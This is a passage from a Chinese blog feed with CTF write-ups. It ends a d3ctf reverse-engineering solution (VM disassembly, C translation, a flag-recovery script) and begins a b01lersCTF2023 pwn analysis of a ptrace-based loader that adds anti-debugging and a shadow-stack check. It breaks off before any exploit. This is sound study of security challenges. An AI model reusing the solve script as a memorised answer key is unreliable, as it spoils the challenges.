class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">mov r0, rdi</span><br><span class="line">mov r1, rsi</span><br><span class="line">push r1</span><br><span class="line">mov r2, r0</span><br><span class="line">mov r1, 3</span><br><span class="line">shl r2, r1</span><br><span class="line">mov r1, 0x51e7647e</span><br><span class="line">add r2, r1</span><br><span class="line">mov r3, r0</span><br><span class="line">mov r1, 3</span><br><span class="line">mul r3, r1</span><br><span class="line">mov r1, 0xe0b4140a</span><br><span class="line">add r3, r1</span><br><span class="line">xor r2, r3</span><br><span class="line">mov r3, r0</span><br><span class="line">mov r1, 0xe6978f27</span><br><span class="line">add r3, r1</span><br><span class="line">xor r2, r3</span><br><span class="line">pop r1</span><br><span class="line">add r1, r2</span><br><span class="line">push r1</span><br><span class="line">push r0</span><br><span class="line">mov r2, r1</span><br><span class="line">mov r0, 6</span><br><span class="line">shl r2, r0</span><br><span class="line">mov r0, 0x53a35337</span><br><span class="line">add r2, r0</span><br><span class="line">mov r3, r1</span><br><span class="line">mov r0, 5</span><br><span class="line">mul r3, r0</span><br><span class="line">mov r0, 0x9840294d</span><br><span class="line">add r3, r0</span><br><span class="line">xor r2, r3</span><br><span class="line">mov r3, r1</span><br><span class="line">mov r0, 0x5eae4751</span><br><span class="line">sub r3, r0</span><br><span class="line">xor r2, r3</span><br><span class="line">pop r0</span><br><span class="line">add r0, r2</span><br><span class="line">push r0</span><br><span class="line">clear r0, r1, r2, r3</span><br></pre></td></tr></table></figure><p>肉眼翻译为C代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sub_13f5</span><span class="params">(__int64 x, __int64 y)</span>&#123;</span><br><span class="line">    __int64 tmp1 = y+(((x&lt;&lt;<span class="number">3</span>)+<span class="number">0x51e7647e</span>)^(x*<span class="number">3</span>+<span class="number">0xe0b4140a</span>)^(x+<span class="number">0xe6978f27</span>));</span><br><span class="line">    push(tmp1);</span><br><span class="line">    __int64 tmp2 = x+(((tmp1&lt;&lt;<span class="number">6</span>)+<span class="number">0x53a35337</span>)^(tmp1*<span class="number">5</span>+<span class="number">0x9840294d</span>)^(tmp1<span class="number">-0x5eae4751</span>));</span><br><span class="line">    push(tmp2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以可以通过栈上的tmp1, tmp2值和计算出x，再由tmp1和x计算出y</p><h2 id="解题脚本"><a href="#解题脚本" class="headerlink" title="解题脚本"></a>解题脚本</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">tmp1, tmp2</span>):</span><br><span class="line">    x = tmp2-c_uint64(((tmp1&lt;&lt;<span class="number">6</span>)+<span class="number">0x53a35337</span>)^(tmp1*<span class="number">5</span>+<span class="number">0x9840294d</span>)^(tmp1-<span class="number">0x5eae4751</span>)).value</span><br><span class="line">    x = c_uint64(x).value</span><br><span class="line">    y = tmp1-c_uint64((((x&lt;&lt;<span class="number">3</span>)+<span class="number">0x51e7647e</span>)^(x*<span class="number">3</span>+<span class="number">0xe0b4140a</span>)^(x+<span class="number">0xe6978f27</span>))).value</span><br><span class="line">    y = c_uint64(y).value</span><br><span class="line">    <span class="keyword">return</span> long_to_bytes(x)[::-<span class="number">1</span>]+long_to_bytes(y)[::-<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">result=<span class="string">b&#x27;&#x27;</span></span><br><span class="line">result+=calc(<span class="number">0xB0800699CB89CC89</span>,<span class="number">0x4764FD523FA00B19</span>)</span><br><span class="line">result+=calc(<span class="number">0x396A7E6DF099D700</span>,<span class="number">0xB115D56BCDEAF50A</span>)</span><br><span class="line">result+=calc(<span class="number">0x2521513C985791F4</span>,<span class="number">0xB03C06AF93AD0BE</span>)</span><br><span class="line"><span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">(d3ctf)d3syscall赛题复现 by 没有头猪</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="d3ctf" scheme="https://zqy.ink/tags/d3ctf/"/>
    
    <category term="reverse" scheme="https://zqy.ink/tags/reverse/"/>
    
  </entry>
  
  <entry>
    <title>b01lersCTF2023 pwn cfifufuuufuuuuu赛题复现</title>
    <link href="https://zqy.ink/2023/04/03/cfifufuuufuuuuu/"/>
    <id>https://zqy.ink/2023/04/03/cfifufuuufuuuuu/</id>
    <published>2023-04-03T16:00:00.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<p>这题…虽然有点新意，但是从头到尾给人的感觉都太过刻意，建议改为reverse题(bushi</p><h2 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h2><p>拿到手两个文件：loader.pyc和二进制文件s；判断是通过loader.pyc加载二进制文件s打开的程序。</p><h3 id="loader-pyc"><a href="#loader-pyc" class="headerlink" title="loader.pyc"></a>loader.pyc</h3><p>使用uncompyle6反编译（这里有个坑，使用pycdc出来的结果跑不起来）。在得到的代码中有一些乱码，user_regs_struct中的值我们可以对照glibc源码文件（<code>glibc/sysdeps/unix/sysv/linux/x86/sys/user.h</code>）进行修改。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># uncompyle6 version 3.7.3</span></span><br><span class="line"><span class="comment"># Python bytecode 3.6 (3379)</span></span><br><span class="line"><span class="keyword">import</span> struct, random, string, subprocess, os, sys, hashlib</span><br><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> defaultdict</span><br><span class="line"><span class="keyword">import</span> resource</span><br><span class="line">PTRACE_TRACEME = <span class="number">0</span></span><br><span class="line">PTRACE_PEEKTEXT = <span class="number">1</span></span><br><span class="line">PTRACE_PEEKDATA = <span class="number">2</span></span><br><span class="line">PTRACE_PEEKUSER = <span class="number">3</span></span><br><span class="line">PTRACE_POKETEXT = <span class="number">4</span></span><br><span class="line">PTRACE_POKEDATA = <span class="number">5</span></span><br><span class="line">PTRACE_POKEUSER = <span class="number">6</span></span><br><span class="line">PTRACE_CONT = <span class="number">7</span></span><br><span class="line">PTRACE_KILL = <span class="number">8</span></span><br><span class="line">PTRACE_SINGLESTEP = <span class="number">9</span></span><br><span class="line">PTRACE_GETREGS = <span class="number">12</span></span><br><span class="line">PTRACE_SETREGS = <span class="number">13</span></span><br><span class="line">PTRACE_GETFPREGS = <span class="number">14</span></span><br><span class="line">PTRACE_SETFPREGS = <span class="number">15</span></span><br><span class="line">PTRACE_ATTACH = <span class="number">16</span></span><br><span class="line">PTRACE_DETACH = <span class="number">17</span></span><br><span class="line">PTRACE_GETFPXREGS = <span class="number">18</span></span><br><span class="line">PTRACE_SETFPXREGS = <span class="number">19</span></span><br><span class="line">PTRACE_SYSCALL = <span class="number">24</span></span><br><span class="line">PTRACE_SETOPTIONS = <span class="number">16896</span></span><br><span class="line">PTRACE_GETEVENTMSG = <span class="number">16897</span></span><br><span class="line">PTRACE_GETSIGINFO = <span class="number">16898</span></span><br><span class="line">PTRACE_SETSIGINFO = <span class="number">16899</span></span><br><span class="line">PTRACE_LISTEN = <span class="number">16904</span></span><br><span class="line">PTRACE_O_TRACESYSGOOD = <span class="number">1</span></span><br><span class="line">PTRACE_O_TRACEFORK = <span class="number">2</span></span><br><span class="line">PTRACE_O_TRACEVFORK = <span class="number">4</span></span><br><span class="line">PTRACE_O_TRACECLONE = <span class="number">8</span></span><br><span class="line">PTRACE_O_TRACEEXEC = <span class="number">16</span></span><br><span class="line">PTRACE_O_TRACEVFORKDONE = <span class="number">32</span></span><br><span class="line">PTRACE_O_TRACEEXIT = <span class="number">64</span></span><br><span class="line">PTRACE_O_MASK = <span class="number">127</span></span><br><span class="line">PTRACE_O_TRACESECCOMP = <span class="number">128</span></span><br><span class="line">PTRACE_O_EXITKILL = <span class="number">1048576</span></span><br><span class="line">PTRACE_O_SUSPEND_SECCOMP = <span class="number">2097152</span></span><br><span class="line">PTRACE_SEIZE = <span class="number">16902</span></span><br><span class="line"><span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> get_errno, cdll</span><br><span class="line"><span class="keyword">from</span> ctypes.util <span class="keyword">import</span> find_library</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">user_regs_struct</span>(<span class="title class_ inherited__">Structure</span>):</span><br><span class="line">    _fields_ = (</span><br><span class="line">     (<span class="string">&#x27;r15&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r14&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r13&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r12&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rbp&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rbx&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r11&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r10&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r9&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;r8&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rax&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rcx&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rdx&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rsi&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rdi&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;oax&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rip&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;cs&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;eflags&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;rsp&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;ss&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;fs_base&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;gs_base&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;ds&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;es&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;fs&#x27;</span>, c_ulong),</span><br><span class="line">     (<span class="string">&#x27;gs&#x27;</span>, c_ulong))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">libc = CDLL(<span class="string">&#x27;libc.so.6&#x27;</span>, use_errno=<span class="literal">True</span>)</span><br><span class="line">ptrace = libc.ptrace</span><br><span class="line">ptrace.argtypes = [c_uint, c_uint, c_long, c_long]</span><br><span class="line">ptrace.restype = c_long</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mem_read</span>(<span class="params">pid, pos=-<span class="number">1</span>, tlen=<span class="number">8</span></span>):</span><br><span class="line">    fd = os.<span class="built_in">open</span>(<span class="string">&#x27;/proc/%d/mem&#x27;</span> % pid, os.O_RDONLY)</span><br><span class="line">    <span class="keyword">if</span> pos &gt;= <span class="number">0</span>:</span><br><span class="line">        os.lseek(fd, pos, <span class="number">0</span>)</span><br><span class="line">    buf = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        cd = os.read(fd, tlen - <span class="built_in">len</span>(buf))</span><br><span class="line">        <span class="keyword">if</span> cd == <span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        buf += cd</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(buf) == tlen:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    os.close(fd)</span><br><span class="line">    <span class="keyword">return</span> buf</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pkiller</span>():</span><br><span class="line">    <span class="keyword">from</span> ctypes <span class="keyword">import</span> cdll</span><br><span class="line">    <span class="keyword">import</span> ctypes</span><br><span class="line">    cdll[<span class="string">&#x27;libc.so.6&#x27;</span>].prctl(<span class="number">1</span>, <span class="number">9</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pnx</span>(<span class="params">status</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">num_to_sig</span>(<span class="params">num</span>):</span><br><span class="line">        sigs = [</span><br><span class="line">         <span class="string">&#x27;SIGHUP&#x27;</span>, <span class="string">&#x27;SIGINT&#x27;</span>, <span class="string">&#x27;SIGQUIT&#x27;</span>, <span class="string">&#x27;SIGILL&#x27;</span>, <span class="string">&#x27;SIGTRAP&#x27;</span>, <span class="string">&#x27;SIGABRT&#x27;</span>, <span class="string">&#x27;SIGBUS&#x27;</span>, <span class="string">&#x27;SIGFPE&#x27;</span>, <span class="string">&#x27;SIGKILL&#x27;</span>, <span class="string">&#x27;SIGUSR1&#x27;</span>, <span class="string">&#x27;SIGSEGV&#x27;</span>, <span class="string">&#x27;SIGUSR2&#x27;</span>, <span class="string">&#x27;SIGPIPE&#x27;</span>, <span class="string">&#x27;SIGALRM&#x27;</span>, <span class="string">&#x27;SIGTERM&#x27;</span>, <span class="string">&#x27;SIGSTKFLT&#x27;</span>, <span class="string">&#x27;SIGCHLD&#x27;</span>, <span class="string">&#x27;SIGCONT&#x27;</span>, <span class="string">&#x27;SIGSTOP&#x27;</span>, <span class="string">&#x27;SIGTSTP&#x27;</span>, <span class="string">&#x27;SIGTTIN&#x27;</span>, <span class="string">&#x27;SIGTTOU&#x27;</span>, <span class="string">&#x27;SIGURG&#x27;</span>, <span class="string">&#x27;SIGXCPU&#x27;</span>, <span class="string">&#x27;SIGXFSZ&#x27;</span>, <span class="string">&#x27;SIGVTALRM&#x27;</span>, <span class="string">&#x27;SIGPROF&#x27;</span>, <span class="string">&#x27;SIGWINCH&#x27;</span>, <span class="string">&#x27;SIGIO&#x27;</span>, <span class="string">&#x27;SIGPWR&#x27;</span>, <span class="string">&#x27;SIGSYS&#x27;</span>]</span><br><span class="line">        <span class="keyword">if</span> num - <span class="number">1</span> &lt; <span class="built_in">len</span>(sigs):</span><br><span class="line">            <span class="keyword">return</span> sigs[(num - <span class="number">1</span>)]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">hex</span>(num)[<span class="number">2</span>:]</span><br><span class="line"></span><br><span class="line">    status_list = []</span><br><span class="line">    status_list.append(<span class="built_in">hex</span>(status))</span><br><span class="line">    ff = [os.WCOREDUMP, os.WIFSTOPPED, os.WIFSIGNALED, os.WIFEXITED, os.WIFCONTINUED]</span><br><span class="line">    <span class="keyword">for</span> f <span class="keyword">in</span> ff:</span><br><span class="line">        <span class="keyword">if</span> f(status):</span><br><span class="line">            status_list.append(f.__name__)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        status_list.append(<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    status_list.append(num_to_sig(status &gt;&gt; <span class="number">8</span> &amp; <span class="number">255</span>))</span><br><span class="line">    ss = (status &amp; <span class="number">16711680</span>) &gt;&gt; <span class="number">16</span></span><br><span class="line">    ptrace_sigs = [<span class="string">&#x27;PTRACE_EVENT_FORK&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_VFORK&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_CLONE&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_EXEC&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_VFORK_DONE&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_EXIT&#x27;</span>, <span class="string">&#x27;PTRACE_EVENT_SECCOMP&#x27;</span>]</span><br><span class="line">    <span class="keyword">if</span> ss &gt;= <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">if</span> ss - <span class="number">1</span> &lt;= <span class="built_in">len</span>(ptrace_sigs):</span><br><span class="line">            status_list.append(ptrace_sigs[(ss - <span class="number">1</span>)])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        status_list.append(<span class="built_in">hex</span>(ss)[<span class="number">2</span>:])</span><br><span class="line">    <span class="keyword">return</span> status_list</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    pipe = subprocess.PIPE</span><br><span class="line">    fullargs = [<span class="string">&#x27;./s&#x27;</span>]</span><br><span class="line">    p = subprocess.Popen(fullargs, close_fds=<span class="literal">True</span>, preexec_fn=pkiller)</span><br><span class="line">    pid = p.pid</span><br><span class="line">    opid = pid</span><br><span class="line">    pid, status = os.waitpid(-<span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line">    ptrace(PTRACE_SETOPTIONS, pid, <span class="number">0</span>, PTRACE_O_TRACESECCOMP | PTRACE_O_EXITKILL | PTRACE_O_TRACECLONE | PTRACE_O_TRACEVFORK)</span><br><span class="line">    ptrace(PTRACE_CONT, pid, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">    SXX = <span class="built_in">set</span>()</span><br><span class="line">    regs = user_regs_struct()</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        pid, status = os.waitpid(-<span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line">        ssy = pnx(status)</span><br><span class="line">        <span class="keyword">if</span> ssy[<span class="number">1</span>] == <span class="string">&#x27;WIFEXITED&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> ssy[<span class="number">2</span>] == <span class="string">&#x27;SIGSEGV&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> ssy[<span class="number">2</span>] == <span class="string">&#x27;SIGTRAP&#x27;</span>:</span><br><span class="line">            res = ptrace(PTRACE_GETREGS, pid, <span class="number">0</span>, ctypes.addressof(regs))</span><br><span class="line">            nn = mem_read(pid, regs.rip, <span class="number">1</span>)[<span class="number">0</span>]</span><br><span class="line">            <span class="keyword">if</span> nn == <span class="number">0x48</span>:</span><br><span class="line">                regs.rax = regs.rdi</span><br><span class="line">                regs.rdi = regs.rsi</span><br><span class="line">                ptrace(PTRACE_SETREGS, pid, <span class="number">0</span>, ctypes.addressof(regs))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">if</span> nn == <span class="number">0x11</span> <span class="keyword">or</span> nn == <span class="number">0x21</span> <span class="keyword">or</span> nn == <span class="number">0x31</span>:</span><br><span class="line">                    offd = &#123;<span class="number">17</span>:<span class="number">0</span>,  <span class="number">33</span>:<span class="number">40</span>,  <span class="number">49</span>:<span class="number">72</span>&#125;</span><br><span class="line">                    vv = mem_read(pid, regs.rsp + offd[nn], <span class="number">8</span>)</span><br><span class="line">                    vv = struct.unpack(<span class="string">&#x27;&lt;Q&#x27;</span>, vv)[<span class="number">0</span>]</span><br><span class="line">                    SXX.add(vv)</span><br><span class="line">                    regs.rip += <span class="number">1</span></span><br><span class="line">                    ptrace(PTRACE_SETREGS, pid, <span class="number">0</span>, ctypes.addressof(regs))</span><br><span class="line">                <span class="keyword">elif</span> nn == <span class="number">0x12</span> <span class="keyword">or</span> nn == <span class="number">0x22</span> <span class="keyword">or</span> nn == <span class="number">0x32</span>:</span><br><span class="line">                    offd = &#123;<span class="number">18</span>:<span class="number">0</span>,  <span class="number">34</span>:<span class="number">40</span>,  <span class="number">50</span>:<span class="number">72</span>&#125;</span><br><span class="line">                    vv = mem_read(pid, regs.rsp + offd[nn], <span class="number">8</span>)</span><br><span class="line">                    vv = struct.unpack(<span class="string">&#x27;&lt;Q&#x27;</span>, vv)[<span class="number">0</span>]</span><br><span class="line">                    <span class="keyword">if</span> vv <span class="keyword">not</span> <span class="keyword">in</span> SXX:</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">&#x27;\n\n!!!Stack Violation Detected!!!\n\n&#x27;</span>)</span><br><span class="line">                        regs.rip = <span class="number">0</span></span><br><span class="line">                        ptrace(PTRACE_SETREGS, pid, <span class="number">0</span>, ctypes.addressof(regs))</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">                    SXX.remove(vv)</span><br><span class="line">                    regs.rip += <span class="number">1</span></span><br><span class="line">                    ptrace(PTRACE_SETREGS, pid, <span class="number">0</span>, ctypes.addressof(regs))</span><br><span class="line">        res = ptrace(PTRACE_CONT, pid, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        p.kill()</span><br><span class="line">    <span class="keyword">except</span> OSError:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            pid, status = os.waitpid(-<span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line">            ssy = pnx(status)</span><br><span class="line">        <span class="keyword">except</span> ChildProcessError:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    sys.exit(main())</span><br></pre></td></tr></table></figure><p>通过分析loader和二进制文件，我们可以发现二进制文件中含有kill, int 3和部分花指令，为我们的调试增加了难度。</p><p>loader是通过ptrace到s上进行运行的，主要的工作是：</p><ul><li>程序kill自己后，使程序继续运行</li><li>遇到int 3后，检查之后的字节，若为0x48（出现在syscall前），更改部分寄存器值</li><li>int 3后的字节若为0x11, 0x21, 0x31，存储栈上对应位置的值，存入集合中</li><li>int 3后的字节若为0x12, 0x22, 0x32，读取栈上对应位置的值，检查其是否在集合中，若不存在则终止程序，提示Stack Violation Detected；若存在则从集合中移除这个值，继续程序</li></ul><p>由此可见，loader除了用于反调试之外，最重要的是通过程序中的花指令自行实现了一个stack canary。经过下面的分析，stack canary为retn addr。</p><h3 id="s"><a href="#s" class="headerlink" title="s"></a>s</h3><h3 id="逻辑分析"><a href="#逻辑分析" class="headerlink" title="逻辑分析"></a>逻辑分析</h3><p>程序在启动时将文件名“&#x2F;dev&#x2F;urandom”拷贝进0x601084的位置。将dword_601000作为ptr，初始值为0，在sub_400362函数中进行了读取数据、打开文件、读取文件、关闭的操作：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">read_chars((<span class="type">char</span> *)&amp;dword_601000[<span class="number">4</span> * dword_601000[<span class="number">0</span>] + <span class="number">1</span>], <span class="number">0LL</span>, <span class="number">16LL</span>);</span><br><span class="line">++dword_601000[<span class="number">0</span>];</span><br><span class="line">v0 = open((__int64)&amp;dword_601000[<span class="number">33</span>]);</span><br><span class="line">read_chars((<span class="type">char</span> *)&amp;dword_601000[<span class="number">4</span> * dword_601000[<span class="number">0</span>] + <span class="number">1</span>], v0, <span class="number">16LL</span>);</span><br><span class="line">close(v0);</span><br></pre></td></tr></table></figure><p>可见其为将读取&#x2F;dev&#x2F;urandom得到的数据作为key对数据进行异或并输出的过程。</p><p>然后程序在sub_400486函数中读取用户输入的数据和key并进行异或输出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sub_400486</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 i; <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">char</span> arg2; <span class="comment">// [rsp+Fh] [rbp-39h] BYREF</span></span><br><span class="line">  _BYTE buf[<span class="number">16</span>]; <span class="comment">// [rsp+10h] [rbp-38h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v3[<span class="number">40</span>]; <span class="comment">// 